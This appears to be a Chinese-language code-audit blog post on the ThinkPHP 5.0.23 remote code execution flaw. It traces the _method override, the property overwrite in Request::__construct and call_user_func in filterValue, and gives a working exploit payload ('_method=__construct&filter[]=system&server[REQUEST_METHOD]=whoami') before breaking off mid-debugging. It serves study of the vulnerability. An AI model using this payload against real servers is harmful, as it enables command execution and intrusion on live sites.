共计 4657 个字符,预计需要花费 12 分钟才能阅读完成。
闲的没事锻炼一下代码审计的能力吧
环境搭建
composer create-project --prefer-dist topthink/think=5.0.23 tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.23"
},
然后执行 composer update
想要调试 thinkphp 的话需要安装 xdebug,网上有教程不再赘述
漏洞点主要有两个
#Request.php
public function method($method = false)
{if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {if (isset($_POST[Config::get('var_method')])) {$this->method = strtoupper($_POST[Config::get('var_method')]);
#var_method 这里是可控的,我们可以修改调用 Request 类的部分方法
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
#Request.php
protected function __construct($options = [])
{foreach ($options as $name => $item) {if (property_exists($this, $name)) {$this->$name = $item;}
#这里会遍历属性值,导致类属性覆盖
}
if (is_null($this->filter)) {$this->filter = Config::get('default_filter');
}
// 保存 php://input $this->input = file_get_contents('php://input');
}
Request 类存在以下属性
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
那么我们该修改哪个值达到命令执行呢?
而 Request 类里面有一个 param 函数
public function param($name = '', $default = null, $filter ='')
{if (empty($this->mergeParam)) {$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];}
// 当前请求参数和 URL 地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
继续观察上面那个 param 函数,其中调用了 input 方法。再来看看 input 方法
public function input($data = [], $name = '', $default = null, $filter ='')
{if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析 name
if (strpos($name, '/')) {list($name, $type) = explode('/', $name);
} else {$type = 's';}
// 按. 拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {return $data;}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
有没有看到好玩的?
array_walk_recursive($data, [$this, 'filterValue'], $filter);
这个函数见的比较少,这里简单讲一下
array_walk_recursive(array &$array, callable $callback, mixed $userdata = null): bool
-
&$array: 目标数组(引用传递,这意味着你可以直接在回调里修改原数组)。 -
$callback: 处理函数。它通常接收两个参数:第一个是 值(Value),第二个是 键(Key)。 -
$userdata: 可选参数,如果你想给回调函数额外传个“小抄”,就用它。
比如这段代码
$data = [
'name' => 'Gemini',
'info' => [
'status' => 'online',
'tags' => ['AI', 'Tech']
]
];
// 使用匿名函数遍历
array_walk_recursive($data, function($value, $key) {echo "键: $key, 值: $valuen";});
#键: name, 值: Gemini 键: status, 值: online 键: 0, 值: AI 键: 1, 值: Tech
再比如
<?php
$prefix = "PROD_";
$data = ['id' => 101, 'meta' => ['code' => 'A2']];
array_walk_recursive($data, function(&$value, $key, $p) {if (is_string($value)) {$value = $p . $value;}
echo "Key: $key, Value: $valuen";
}, $prefix); // 这里的 $prefix 传给了 $p
#Key: id, Value: 101 Key: code, Value: PROD_A2
继续回到 thinkphp 里面,array_walk_recursive($data, [$this, 'filterValue'], $filter);调用了
filterValue方法,那么我们跟进看看。
#Request.php
private function filterValue(&$value, $key, $filters)
{$default = array_pop($filters);
foreach ($filters as $filter) {if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter 函数不存在时, 则使用 filter_var 进行过滤
// filter 为非整形值时, 调用 filter_id 取得过滤 id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
看到好东西没有?
call_user_func,可以执行自定义函数。到了命令执行这里就简单了。
那现在我们来调试看看吧
payload:
http://127.0.0.1/?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
先打断点到第一个漏洞点

method 被覆盖成 __CONSTRUCT 为后面调用 construct 做覆盖变量准备
调用了__CONSTRUCT,变量被覆盖或者赋值

